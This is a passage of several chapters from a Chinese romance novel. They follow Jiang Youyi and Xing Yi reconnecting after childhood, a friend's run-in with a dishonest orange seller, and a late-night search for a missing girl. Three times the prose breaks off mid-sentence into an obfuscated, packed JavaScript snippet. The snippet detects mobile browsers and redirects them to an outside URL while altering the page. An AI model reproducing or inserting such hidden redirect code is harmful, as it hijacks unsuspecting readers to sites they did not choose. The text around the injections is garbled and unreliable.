男人被他撞倒,不耐烦地怒吼道:“妈的!小兔崽子,敢坏老子的好事儿。” 邢弋用牙齿死死咬住男人的胳膊,任凭他挥拳砸向后背,就是不松口。 那人恼羞成怒,竟从口袋里掏出一把刀。 刀刃划伤了邢弋的胳膊,鲜血瞬间涌出,顺着手臂流下来,染红了他的衣服。 邢弋看了眼伤口,咬紧牙关,继续扑向那个男人,死死缠住他。 “妈的,你不要命了?”那人惊愕地看向邢弋。 后者依旧怒视着他,眼神里没有丝毫恐惧。 “疯子……”男人喃喃道。 他没想到邢弋能这么疯狂,后退了一步,犹豫了一下,丢下刀,转身跑了。 江宥一已经被吓得脸色惨白,她跪到邢弋身边,眼泪夺眶而出:“邢弋,好多血!” 邢弋笑了笑,替她擦掉了眼泪:“傻姜桃,哭什么,我没事。” 邢弋安静地听江宥一讲完小时候的故事,车内陷入了一片寂静。 “那天之后,他曾对我说过,他以后要当警察,要永远保护我。” 江宥一笑着看向那个曾经说要保护自己一辈子的邢弋。 她不相信,邢弋就算真的是个木头,也不可能完全无动于衷。 可他就硬是没说一句话,从头到尾,好像在听别人的故事一样。 但江宥一不怪他,只是满眼心疼地看向他的胳膊。 “当时,他的伤还没好全,我们就分开了,也不知道后来有没有留疤。” 终于,邢弋的嘴唇抖了一下,像是在犹豫,又像是在努力咬住即将脱口而出的话。 “到了。” 就在江宥一期待听到他的回应时,车子稳稳停到一幢别墅前。 “进去坐坐吧!”江宥一发出邀请。 “不了,你回去早点休息吧!” 邢弋铁了心和她划清界限,语气坚定。 可江宥一也没那么好说话。 “你不下我就不下。” 她双手环胸,往车子椅背上靠了靠,一副赖上邢弋的神情。 他扭过头看了她一眼,无奈地叹了口气,解开安全带,下车打开副驾的门。 “听话。” 江宥一才不理他,倔强地把脑袋扭向别处,小嘴翘得老高。 邢弋也不好伸手拉她,万一被人看到,对她不好。 他无奈地看向她,这么多年了,和她分开之后,他就再也没有哄过女生了,实在是束手无策。 江宥一见他没了办法对付自己,撇了他一眼,讲起条件来。 “你要是答应和我进去坐会儿,我就下车。” 这赖皮样,怎么比小时候更严重了?可他却还是一样,拿她没有办法。邢弋心里想着,竟没忍住隐隐抽动了下嘴角。 他本想板起脸来装装严肃,但目光落在江宥一那双忽闪忽闪的大眼睛上,瞬间就又泄了气。 邢弋微微偏过头,看了眼别处,用舌尖顶了顶腮,努力压抑着笑意。 江宥一趁他不注意,一把拽过他的右手,撸起他的袖子。 一道触目惊心的疤痕出现在她眼前,那疤痕又长又宽,像一条歪曲丑陋的蜈蚣,一直从手肘延伸到接近手腕的位置。 江宥一轻轻摸上去,心疼地抬头看了眼邢弋。 邢弋赶紧抽回胳膊,把袖子重新放下来。 她皱着眉头,颤抖着双唇,就这么一言不发地盯着他看。 她在怨他,怨他到了这个时候还是不愿意承认他们的过去,怨他这些年不来找自己。 要不是那天的偶然相遇,他们可能真的要错过彼此一辈子了。 想到这儿,江宥一落下了泪,一把抱住邢弋。 邢弋终于还是没忍心再次推开她。 “走吧,我和你一起进去,别在外面哭。” 江宥一点点头,但她没看到,一滴泪不着痕迹地从邢弋脸颊滑下来,掉在地上。 放不下过去,忘不了彼此的人,何止她一个。 江宥一推开大门,院子里光秃秃的,并没有什么绿植,只是有一棵还没长太高的桂花树。 邢弋看到了,但也只是看了一眼,就又把视线移开。 树下有一个秋千,江宥一用手指了指,“你推我吧,我想荡会儿秋千。” 邢弋没有拒绝,任由江宥一拉着他的袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957912|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口走过去。 他也很怀念,怀念小时候陪她一起荡秋千的日子。 他曾经问过姜桃,为什么这么喜欢荡秋千。 她说:“因为荡秋千的时候很自由,秋千在空中摇摆的时候,离地面很远,让我感觉自己是一只在天上翱翔的小鸟。” 秋千架发出低沉的吱呀声,邢弋站在江宥一身后,轻轻推着她,像小时候那样。 有那么一瞬间,江宥一觉得好像自己真的回到了那个时候。 “再高一点!” 他加大了力道,她的发丝被风吹起时,轻轻划过了他的手背。 “小时候,每次荡在最高点的时候,我都会感觉自己所有烦恼都变得渺小了。” “现在呢?”他问。 她凝视着头顶那片蓝,笑了笑:“现在,荡得越高,就越怕跌下来。” 邢弋伸手握住秋千绳,看着江宥一:“如果害怕,就停下来。” 她抬眼看他。 “可是我怕如果不走到最高处,就看不到远处已经离开的人。” 邢弋不太明白江宥一话里的意思,只是隐约感觉到,她并不喜欢现在的生活。 江宥一确实不喜欢,她恨透了名利场的纸醉金迷、尔虞我诈、虚情假意…… 如果不是身不由己,她宁愿租个小房子,和邢弋去过粗茶淡饭、一屋两人、三餐四季的平凡日子。 可她那么努力的一步一步走到今天的位置,只有一个心愿,那就是在这个世界某个角落的邢弋,有一天,能够看到自己,找到自己。 “外面冷,回去坐会儿。” 江宥一带着邢弋走进屋里。 邢弋四处看了看,江宥一家里布置得特别简单,除了一些必要的家具电器,基本没什么陈设,看上去空荡荡的。 江宥一显得很兴奋,这是邢弋第一次到家里来。 她小跑着去了厨房,给他倒了杯茶。 “我带你逛逛吧!” 江宥一也不管邢弋答不答应,直接拽着他往楼上去。 “楼上是我的卧室和书房,三楼是储物间和影音室。” 江宥一在前面时不时地回头,确保邢弋跟上自己。 “我卧室有个小阳台,在这里看夕阳特别美,你要不再多待一会儿,还能陪我看个夕阳!” 邢弋略显无奈地看了她一眼,没有拒绝。 江宥一发现有戏,挪着小碎步靠近他,用食指点了点他的手臂。 “你中午都请我吃饭了,我不得表示表示嘛?这叫礼尚往来,小时候老师教的。” 邢弋真想开口反驳,中午那不是你耍赖皮非要留在我家吃饭吗?怎么变成我请你吃饭了? 结果他刚扭头,就看见江宥一冲着自己俏皮地眨眼,睫毛忽闪忽闪的,脸颊两侧绽开了两颗浅浅的梨涡。 邢弋被盯得心都要化了,哪里还忍心说出拒绝的话。 “好,那看完夕阳我就要回去了,必须要走了。” 邢弋自己都没有察觉到,他的底线早就在不知不觉中一点一点被江宥一攻破。 不不不,他现在哪里还有什么底线可言。 “Yes!” 听到邢弋答应,江宥一猛地吸了一口气,嘴角完全不受控制地向上扬起。 为了竭力维持早已所剩无几的“矜持”,她只能紧紧抿着双唇。 “那就这么说定了,家里没什么食材,只能委屈你陪我吃外卖了,还有二十分钟就到。” 邢弋听了,一脸不可置信。 果然,这世上哪有她江宥一办不到的事情。 她一开始就没打算“放”他离开,外卖早就已经点好了。 好一招先斩后奏! 11. 不打不相识 糖醋里脊、鱼香肉丝、麻婆豆腐、清蒸鲈鱼、蒜蓉西蓝花…… 江宥一点了满满一大桌子菜。 “怎么点这么多?”邢弋看着已经被摆满的餐桌问。 “你第一次来我家,这不是基本的待客之道吗?快尝尝,这家私房菜是我最喜欢的,都是你爱吃的。” 江宥一坐在邢弋对面,心情期待又忐忑。 邢弋自然是没有想到江宥一居然还记得自己的喜好。 除了她,这个世界上恐怕没人这样记挂自己了。 或许是因为感动,或许是想起了曾经,邢弋愣住半天没动筷子。 江宥一看他这反应,担心他不喜欢。 她微微蹙了下眉,眼尾的笑意也收敛了些许:“是吃不惯外面的饭吗?其实我的手艺也很不错的,改天有机会给你做,今天实在是条件不允许。” 没能亲自给邢弋下厨,其实她心里多少还是有些遗憾的。 邢弋不想扫她的兴,夹起一筷子糖醋里脊尝了尝,味道确实不错。 “嗯,你说的没错,这家饭店的菜真的很好吃。” 江宥一听了,用手轻轻拍拍胸口,松了口气。 “是吧是吧,我就知道你一定会喜欢,小时候你就最爱吃糖醋里脊了。” 说到这儿,两个人对视一眼,都没说话。 许久过后,邢弋才又开口:“你会做饭?” 他看着江宥一,实在是想象不到她下厨做饭的样子。 “当然会了,你以为我一进圈子就有钱赚吗?不好好省着点儿,早就被饿死喽!” 江宥一塞了一口西蓝花,喃喃道。 她就是随口一说,却没注意到,邢弋听到后立马黑了脸。 十七年前,江宥一被人领养,他以为她从此能有个家,能过上好日子。 但他总是隐隐觉得,江宥一这些年过得并不好。 “你家里人呢?他们……对你好吗?”邢弋做不到继续沉默。 “夕阳出来了!” 江宥一没有回答他的问题,拉着他就往阳台去。 夕阳确实很美,可邢弋的心思早就不在这儿了。 他想问问江宥一这些年到底经历了什么,过得怎么样,她的养父母对她好不好? 他有太多的问题想问,可看着她明媚干净的笑容,他又觉得一定是自己多虑了。 饭吃完了,夕阳也看了,邢弋到了要离开的时候。 一天的相处下来,江宥一和他都找回了许多曾经的回忆。 虽然邢弋依旧没有开口承认自己记得一切,但是他不能否认,今天他很开心,能和她在一起待着,他很开心。 江宥一也能感觉得到,邢弋对自己的主动靠近已经没了最初的抗拒。 对于这个结果,她已经很满意了。 “今天我很开心,希望你也是。” 邢弋离开之前,江宥一站在门口向他挥手。 “回去吧,外面冷。”他难得对她说了关心的话。 江宥一期盼着,有一天,曾经那个熟悉的邢弋能够回来。 现在的她,感觉那一天好像离自己越来越近了。 邢弋回了家,陈燃和潘茁已经离开。 陈燃察觉出今天的潘茁有点儿不在状态。 本着对“好哥们儿”的人道主义关心,他还是多嘴问了句:“茁哥儿,你不会是家里出了什么事儿吧,最近怎么怪怪的,有事儿就吱声,兄弟在呢!” 潘茁有的时候都在怀疑,陈燃这榆木疙瘩是不是在感情这方面还没开窍,她对邢弋的特殊照顾都这么明显了,他居然一点儿都没感觉到。 “你小子就放心吧,我好着呢,只不过,你有没有觉得老邢最近不太对劲儿?” 潘茁顺势试探起陈燃,想着他和邢弋走得近,不一定会知道些什么。 陈燃挠挠头,想了半天:“没有吧,我觉得他最近挺正常的啊!” 潘茁一副看傻子的表情,摇头叹了口气:“算了,问你也白问。” 对于潘茁明目张胆的鄙视,陈燃自然不爽。 “你到底想说什么?你不直说我怎么猜的出来。” “哎呀,就是……你不觉得他最近和江宥一走得太近了吗?他可从来不会把才认识几天的女生带回家里。”潘茁被问急了,干脆把心里话说了出来。 “害,你说这个呀,江宥一本来就是邢弋女神,一般人哪有和女神近距离接触的机会,老邢这是撞大运了,所以反常一些也可以理解。” 陈燃是真没觉得这有什么不对劲儿的。 潘茁翻了个白眼儿,觉得自己主动和他聊这事儿就是浪费时间。 “不过,有一点我确实挺奇怪的。”陈燃突然又开口。 “什么什么?”潘茁立马凑上去。 “你说江宥一一个大明星,有钱有颜又有名,她老缠着邢弋干啥呀!我承认咱老邢确实是有几分姿色,但也不至于才见几面就把一女明星迷成这样吧?” 潘茁不得不承认,她和陈燃想到一块儿去了。 邢弋的行为暂且可以理解,但江宥一又是为什么,她接近邢弋究竟有什么目的。 两个人就这么站在寒冬的街头分析起来。 陈燃突然有了想法:“你说她不会是别有所图吧?她会不会是犯啥事儿了,想让邢弋帮她解决,还是说,她看上老邢的身手了,想招他当保镖?” 潘茁也不客气,冲着陈燃后脑勺就是一巴掌。 “你还真是不让人失望,说两句就没正形了!” “你这女人太暴力,以后怎么嫁得出去!” “要你管,你个呆子!” 两人没说两句又吵了起来,最后也没得出个结论。 * 晚上七点的沅江市,正赶上下班高峰期,街上车水马龙,灯红酒绿。 卢珮宁这位“无所事事”的大小姐,准备去找江宥一聊聊天。 自从这丫头找到邢弋,就好像人间蒸发了,几天也不主动联系她。 对于江宥一这种重色轻友的行为,卢珮宁颇有微词。 等红灯时,她偶然看到个摆摊卖橙子的老大爷。 天色渐渐暗下来,再加上外面这零下好几度的天气,大爷被冻得只能站在原地不停踏着小碎步。 卢珮宁最看不得这人间疾苦,一下子圣母心泛滥,就想着帮大爷减轻点负担。 她这人常这样,虽说是从小养尊处优,但是一点儿没有大小姐架子,倒是常怀着颗同理心,遇见别人有困难,能帮就想帮一把。 她把车靠边停下,踩着高跟鞋小跑到大爷跟前:“大爷,这橙子甜吗?怎么卖?” “小姑娘,我这橙子甜得很,自家种的,今早刚从老家拉过来,比超市的可便宜,十块钱一斤,你要是多买点儿,按九块钱卖给你。” “嗯不错,一一爱吃,价格也实惠。”卢珮宁心里盘算着。 “大爷,我多买点儿,你帮我挑点儿好的啊,要20斤吧!” 大爷一听她要这么多,先是怔了一瞬,上下打量了一下她,浑浊的眸子忽地清亮起来,这丫头看着确实不缺钱。 他忙不迭地“哎!好!好!”应着,动作利落得像是年轻了十岁。 一阵冷风吹过来,大衣里只穿了件短皮裙的卢珮宁被冻得直发抖。 好在大爷动作还算利落。 “小姑娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957913|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多给你拿了点儿,二十五斤,一共三百二十五,算你便宜点,三百吧。” 大爷多给拿了几斤这事儿,卢珮宁没打算计较,毕竟天寒地冻的,他想早点收摊也能理解。 可这一斤九块,二十五斤的橙子,就算是卢珮宁数学再不好,也不至于发现不了大爷算错账。 她只当是大爷不小心,上前随口问了一句:“大爷,您刚才不是说一斤九块钱吗?二十五斤怎么变成三百了,您是不是算错了啊!” 卢珮宁本来是好声好气和大爷讲道理,没想到他倒先生上了气。 “哎哟喂,你这个小姑娘怎么冤枉人啊,我在这儿卖了好几年了,还能骗你不成,九块钱是那边的小橙子,我给你拿的都是这边的大橙子,品种不一样,价格当然也不一样了!刚才不是你说让我给你挑好的拿吗?” 大爷瞬间拉下脸来,用鄙夷的眼光打量着卢珮宁。 卢珮宁自知占理,也不甘示弱,和他理论起来:“明明是您刚才没说清楚嘛!怎么反倒成我的不是了,您也太不厚道了,这不是把我当冤大头宰呢吗?” 一个穿着光鲜亮丽的小姑娘当街和卖水果的老大爷吵起来,这事儿可不常见,很快周边就围了一群吃瓜群众。 卢珮宁毕竟没见过这场面,被盯得有些不好意思,刚打算认栽离开,却又被大爷拉住,一顿数落。 “大家快来评评理哟,这个小姑娘欺负我这个老不死的,这好冷的天,我辛苦给她挑了半天橙子,她嫌贵不早说,还糟蹋我这个老头子不讲信用。我这么大年纪了,风里雨里、起早贪黑挣点棺材本儿,我容易吗我?你就为这几块钱,非要逼死我啊?” 卢珮宁虽然不是什么好欺负的主儿,可她哪见过这阵仗。 大爷一通炉火纯青,堪比奥斯卡影帝的表演,直接给她看傻了。 她原以为会有好心人上来帮自己解释几句,可偏偏大家都只是用怀疑的眼光盯着她看,没有要替她仗义执言的打算。 甚至还有几个大妈开始摇头叹气:“现在的年轻人啊……” “大家都散了吧,散了吧啊,天儿怪冷的。”突然人群里传来个年轻的声音。 陈燃刚和潘茁分开,恰巧路过,自然不会坐视不理,他不疾不徐地拨开人群,走到最前面。 原本孤立无援的卢珮宁看着眼前的陈燃,好像看到了救世主,心想:难道这英雄救美的浪漫戏码终于要在我身上上演了吗? 就在她以为陈燃要为自己主持公道的时候,他的一番话让她瞬间石化。 “你就别为难大爷了,他老人家一个人出来讨生活确实不容易,几块钱的事儿,算了吧!” 卢珮宁气得要吐血,她微微偏头,一脸不可置信地看向陈燃,甚至怀疑是自己耳朵出了问题。 她冷笑一声:“不是大哥,你刚说什么?什么叫我为难他,这是几块钱的事儿吗?这是原则问题,他不能坑人啊!” 大爷看到有陈燃帮忙,立刻装模作样起来,声音里带了点儿哭腔:“你这小姑娘怎么说话呢,我什么时候坑你了,年纪轻轻的,怎么血口喷人啊!” 陈燃确实不知道之前发生了什么,只觉得不如大事化小小事化了,干脆当起了老好人。 “这样吧,都别吵了,橙子我买了。” 卢珮宁听他这么说,更是气不打一处来,好一个“冤大头”,你爱当就当去。 她翻了个白眼,看了眼正幸灾乐祸的大爷,气冲冲地走开,嘴里还不停嘀咕:“这都是些什么人呐!” 陈燃这边刚付了钱,想着自己也吃不完,干脆分点儿给那姑娘。 结果刚转身,就看着她径直上了路边的保时捷,一脚油门,扬长而去…… 12. 草履虫先生 卢珮宁一脚油门直达江宥一家楼下。 门铃响得有点急,江宥一还以为是邢弋落下了东西,兴冲冲跑去开门。 结果只看见卢珮宁气势汹汹地站在门口,那双平日里慵懒含笑的杏眼,此刻瞪得圆溜溜的。 “一一,气死我了!” 刚一进门,她就把高跟鞋甩在门口,那双限量款的小山羊皮高跟就那么一前一后无辜地倒在意大利手工地毯上。 卢珮宁长这么大没受过这种委屈。 江宥一视线下移,才看见她手里正死死攥着那只爱马仕包包,胸口起伏得厉害。 “怎么啦,是谁惹我们宁宁不高兴了?” 江宥一关上门,倚在玄关柜上看着她,顺手把她被风吹到嘴角的发丝捋到耳后。 “别提了,今天遇到了个缺心眼儿。” “别急,坐下慢慢说,我去给你拿点儿小蛋糕,吃了甜食,心情能好点。” 卢珮宁乖巧点头,表情依旧很是委屈,像只炸了毛的小猫咪。 她直接栽倒进单人沙发里,仰头盯着天花板叹气。 江宥一看她这幅样子笑出了声。 她倒是想看看谁有这么大本事,能把卢珮宁气成这样。 “你最爱的香草千层,尝尝吧!顺便讲讲,是何方神圣惹你不高兴了?” “我刚才过来的路上,在路边碰到个卖橙子的大爷,我看他怪辛苦的,就想着买点儿,结果那大爷坐地起价,还说我欺负他。” 卢珮宁说到一半,塞了一大口蛋糕进嘴里。 “就这样?” 江宥一以为故事到此就要结束。 谁知道卢珮宁猛地坐直身子,转向她,完全放弃表情管理。 “不不不,这只是个开始,关键是我遇到了个单细胞草履虫,那人堪称人类进化史上的奇迹。” “怎么啦?展开讲讲呗,这位‘草履虫’干什么了?”江宥一被她这形容词逗乐了。 “他明明什么都不知道,居然特意从围观群众外边挤到我面前,我靠,我还以为他是路见不平,过来帮我的,结果呢?那位大聪明让我别为难大爷。” 卢珮宁深吸了一口气,翻了个巨大的白眼。 “真是笑话,光天化日,到底是谁为难谁啊?他什么都不知道,凭什么教训我?” “那后来呢,后来怎么了?” “后来那位大聪明把橙子全买了,还真是显着他了,你说他这不是纯纯大冤种吗?那可是二十斤啊,够他吃一个月了!三百块的橙子,最好是有够甜!” “哈哈哈!”江宥一忍不住大笑出声。 “别笑!”卢珮宁佯装生气看着她,但自己的嘴角也抽搐了一下,显然是憋得辛苦。 两人对视一眼,一下子都没崩住,大笑起来,毫无形象可言。 笑够了,卢珮宁才长长地舒了口气,果然,说出来之后心里痛快多了。 她抬手揉了揉自己的太阳穴,精心打理的八字刘海乱了几缕,俏皮地翘在耳边。 “以后最好别再让我碰到他,我可饶不了他,一整天的好心情都被这奇葩给毁了。” “哎哎,你还没说,这位大聪明是男生女生啊?” “男的。”卢珮宁一副无所谓的态度。 “帅吗帅吗?”江宥一多少带点儿轻微颜控,听她讲了这么半天,已经开始自动脑补起欢喜冤家的经典戏码。 按照正常流程,两人互相看对方不顺眼之后,很快就应该坠入爱河了! “还挺帅的。”卢珮宁一时没反应过来,“不对啊,这是重点吗?重点是他不分青红皂白冤枉我,帅有什么用?” “好好好,没用没用,都是这位‘草履虫先生’的错,他怎么能随便说你呢?你这么善良、美丽、温柔、可爱……” 江宥一的语气像是在哄幼儿园小朋友,不过这招对卢珮宁确实管用。 听完江宥一的彩虹屁,她气消了一大半。 另一边,以为自己做了件好人好事的陈燃刚到家,费了好大力气才把那些橙子抱上楼。 他猛地打了个喷嚏,一个人犯起嘀咕:“是不有人骂我呢?一定是邢弋那小子。” 虽然橙子很贵,但陈燃不愿意相信是自己判断失误。 “贵有贵的道理,大爷看着那么老实,不可能坑人,这橙子肯定好吃。” 他自言自语地安慰自己,迫不及待跑去厨房切了两颗尝尝。 “啊呸!” 陈燃吃了一口就立马吐了出来。 这橙子根本不像大爷说的果肉细腻,一口爆汁,他只觉得自己好像是在咀嚼一团失去了灵魂的橙皮。 “我的天,奸商?” 陈燃又把大爷装在泡沫箱底下的橙子翻出来,这才发现有的橙子甚至有了霉斑。 他这会儿才反应过来,自己今天“站错队”了? 或许那个女孩真是无辜的?怪不得气成那样。 陈燃想起卢珮宁离开时充满怒气的背影,他“啧啧”两声,摇了摇头,心想:以后可千万别再碰上她,那姑奶奶怕不是要把我千刀万剐。 “老邢,忙啥呢,请你吃橙子!” 陈燃翻了半天通讯录,能坑的人只有邢弋了。 “不吃。” “又香又甜的大橙子哦,二十斤花了我三百呢?” “鬼才信你,被坑了吧!” “我去,神算子!难不成你是天才?” “滚!我要睡觉,挂了!” “哎哎哎,别呀,我话还没说完呢,你和江宥一是不有情况啊?” 在潘茁的几番“提点”之下,陈燃的八卦雷达终于成功启动。 “没有!” “怎么可能,没有情况她为什么在你家,而且你今天不是都主动送人家回家了吗?难道你俩就没发生点儿什么?” “没有。” 为了防止陈燃继续问下去,邢弋说完直接挂了电话。 “喂?切,真不够意思!” 陈燃打探消息不成,一气之下又吃了个橙子,结果还不如上一个,酸得他龇牙咧嘴。 得了,大爷今天算是好好给他上了一课。 人不可貌相,你大爷还是你大爷! 这边邢弋闭口不言,关于他和江宥一的事情,一个字也不愿意透露给陈燃。 但江宥一就不同了,她恨不得把今天的所有细节全部告诉卢珮宁。 毕竟卢珮宁从高中开始就早恋,也算是“阅人无数”。 在感情这方面,她还真够格给江宥一好好上一课。 知道邢弋前脚刚从江宥一家离开,卢珮宁爆发出一阵海豚音:“啊——我错过了什么?他都来你家了?小样儿,可以呀!” “淡定点,你吵到我耳朵啦!” 江宥一嘴上嫌弃,其实心里早就开心到飘飘然。 “可以,不错,今天有进步,你俩不愧是有感情基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957914|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 础,进展神速啊!老实交代,你是不对他使了美人计了?” “哪有,姐们儿靠的是回忆杀!” 卢珮宁对于江宥一今天的表现非常满意。 看在这个好消息的份上,她倒是愿意暂停对“草履虫先生”的进攻。 “一一,下一步呢,下一步什么计划,你打算怎么继续攻略邢弋?” 卢珮宁追着江宥一问。 “说实话,我没想到进展这么快,我以为他会坚决无视我的所有请求,然后残忍地把我拒之门外。所以……其实我真的还没想好,接下来应该怎么办?但是我已经决定,要把‘死缠烂打’精神继续发扬下去,他好像还挺吃这套的。” “对嘛,你要这么想,他不拒绝说明有戏,他肯定正在被你动摇,你们的回忆虽说是有点儿年头了,但贵在深刻呀!白月光是最难忘的!” 卢珮宁说着说着忘了形,自顾自唱了起来:“白月光在照耀,你才想起她的好……” “但愿吧……”江宥一瘫倒在沙发上,希望事情真能按照卢珮宁预测的那样发展。 其实今天过后,邢弋同样有了不一样的感受。 江宥一的出现,也正一点一点帮他拼凑起那段童年记忆。 他回到家,拿出姜桃小时候的照片看了很久…… “老邢,没睡呢吧?” 又是陈燃,邢弋没想到这小子阴魂不散。 “我不是说了吗?我和江宥一真的什么都没发生!” “不是江宥一,是我妹!我妹不见了!” 电话那头的陈燃明显是慌了神。 “什么?你等我,我去找你!” 邢弋知道,陈燃最疼她这个宝贝妹妹。 那孩子他见过一面,活泼贪玩,能说会道,性格比她哥还跳脱,活脱脱一个假小子。 “怎么样,有消息了吗?” 邢弋赶到陈燃发的地址,看到他正站在路边双手叉腰,喘着粗气。 “没有,我妈说她下午补完课就一直没回家,六点给家里发了个信息说是和朋友出去玩儿,九点多不回来我妈就有点儿担心了,给她打电话手机也关机。” 陈燃虽说是平时吊儿郎当惯了,但遇到大事儿一向很稳重,可今天他说话的时候,声音都在抖。 邢弋拍拍他肩膀安慰:“你妹一定不会有事儿的,同学联系过了吗?知道她晚上是和谁出去的吗?” “联系过了,说是两个人六点多就分开了,我妹去找谁,她同学根本不知道。” “报警了吗?” 陈燃点点头,“你说这么晚了,她能去哪儿呢?” “最近你妹没跟你说过交了什么新朋友吧?” “没有,这丫头平时虽然野惯了,但不会乱交朋友。” “那她最近和叔叔阿姨或者老师同学吵过架吗?或者学校里遇到过什么困难吗?” “问过我妈了,下午出门的时候还好好的,也给老师打了电话,说在学校没什么反常。” 不一会儿,潘茁也开车赶到。 她一看就是刚洗完澡,头发都还在滴水,裹了个羽绒服就出来了。 “怎么样了?” 陈燃和邢弋同时摇头。 “这样吧,大家现在分开去找,我去网吧、小吃街,潘茁去电影院、自习室,陈燃你去你家附近的便利店、公园,大家保持联系。” 到这种时候,邢弋果然还是最冷静的那一个。 13. 她有个弟弟 邢弋不知道走过了多少家网吧和多少条小吃街,时间一点一点过去,他也越来越担心。 他体会过失去最重要之人的滋味,那种心被剜去一块儿的感觉,他不想陈燃也经历一遍。 一个手无缚鸡之力的高中女生,莫名其妙失踪在城市的夜色里,邢弋不敢继续往下想,脚下的步伐又加快了些许。 又一条小吃街走完,依旧不见陈燃妹妹的身影。 在小路尽头,或许是心里的第六感作祟,邢弋鬼使神差般的拐进了一条小巷。 这条小巷本来是通往一个老旧居民楼的,漆黑一片,只有几盏老旧路灯泛着昏黄的光晕,但不足以照亮远方。 这里很安静,安静得诡异。 在这空荡荡的巷道里,邢弋只能听到自己的呼吸声和远处小吃街的杂音,可他就是觉得哪里不对劲。 越往里走,离小吃街越远,喧闹声也就越微弱,直到完全消失。 可邢弋却分明在巷子更深处听到了断断续续的脚步声。 来不及多想,邢弋循着声音的方向快步走去。 “你是谁?” 对面的黑暗中传来一个女孩儿的声音,是陈燃妹妹? 邢弋急着确认,打开手机手电筒,又靠近了一步。 “陈灼曦?” 对面的女孩点点头,听到邢弋叫出自己的名字,她这才放松了些警惕。 但她并不是一个人,她还搀扶着一个浑身是伤的年轻男生。 那个男孩看样子和陈燃妹妹年纪相仿,受的伤可不算轻。 “我是你哥的同事,我叫邢弋,不知道你还记得吗?我们之前见过一面。” 担心吓到两个孩子,邢弋主动自报家门。 “我记得你,邢弋哥。” 听到陈灼曦对自己有印象,邢弋这才走上前,把男生的胳膊搭在自己肩上。 “你手机怎么关机了?” 这是邢弋问的第一个问题。 “没电了。” “怎么不用他的手机?好歹给家里人报个平安,你哥找你都快找疯了。” 邢弋的口吻里带着点怪罪的意思。 陈燃是他最好的兄弟,他自然也把陈燃的妹妹当成是自己的妹妹。 “他的手机屏碎了,打不开了,你能帮我先把他送去医院吗?他是我同学,叫江椿。” 邢弋点头,把手机递给陈灼曦。 “赶紧给你哥打电话,就说你和我在一起,他现在还满世界找你呢!” 陈灼曦点点头。 “邢弋,怎么样?找到我妹了吗?” 陈燃电话接得很快,声音喘得厉害。 “哥,是我。” 陈燃一听是妹妹的声音,崩了一整晚的神经才终于敢放松。 “你跑哪儿去了?怎么不给家里说一声,爸妈都吓坏了。” 一向宠溺妹妹的他今天也没了好口气。 “对不起哥,是我不对,今天这事儿一时半会儿说不清,以后我慢慢和你解释,我们现在要去医院。” “去医院干什么,你怎么了?” 陈燃才刚刚放下心,这会儿又紧张起来。 “我没事儿,是我同学,哎呀,你来就行了。” 陈灼曦看了眼江椿,他头上一直有血滴下来,所以言语里有些着急。 到了医院,医生帮江椿缝合了头上的伤口,又简单处理了胳膊和脖子上的皮外伤。 邢弋缴费回来,江椿才和他说了第一句话。 “谢谢哥,你把联系方式给我,我会把钱还给你的。” 邢弋笑笑。 “不用你还。” 邢弋看着两人,想问为什么他们这么晚还在外面,江椿又为什么会伤成这样,但他想了想,还是觉得应该等陈燃过来。 “你这么晚还在外面,家里人知道吗,打个电话吧,别让他们担心。” 邢弋把手机递给江椿。 “不用哥,我爸妈都不管我,我就是丢三天,他们也不会在意的。” 江椿说得轻松,看上去早就已经习以为常。 邢弋看着这孩子,想起了十几岁的自己。 那个时候的他一样没人牵挂,孤身一人在这世上。 他看着江椿和陈灼曦,突然想到,如果自己和江宥一没分开,他们的十几岁会不会也是这样,相依为命。 虽然辛苦,但身边却始终有彼此陪伴。 如果真是这样的话,受伤又算得了什么。 “你还有其他兄弟姐妹吗?”邢弋聊天儿似的随口一问。 “有,我有个姐姐。” “给你姐打电话,号码多少?” “不行,哥,求你了,我姐会担心的,而且太晚了,她肯定睡了。” 江椿从进医院以来,一直表现得很淡定,就连医生给他处理伤口,邢弋也没从他脸上看到半点儿波动。 可这会儿提起他姐姐,他倒是着急起来。 看样子他姐对他挺好,邢弋这样猜测。 “怕你姐担心,还把自己搞成这个样子?” 邢弋打量着江椿身上的伤,又指指他被纱布包起来的额头。 江椿羞愧地垂下脑袋,不肯吭声。 “让她过来吧,你还没成年,很多事情需要她来处理,还是说,你要我联系你父母。” 邢弋语气温柔起来,说到底,他也不过是个可怜孩子。 江椿担心父母过来,肯定会不分青红皂白地把自己的伤怪罪到陈灼曦身上,八成还要好好地讹陈灼曦家人一把。 他太了解他的父母了,所以不想让陈灼曦因为自己受伤害,被他爸缠上可不是什么好事儿。 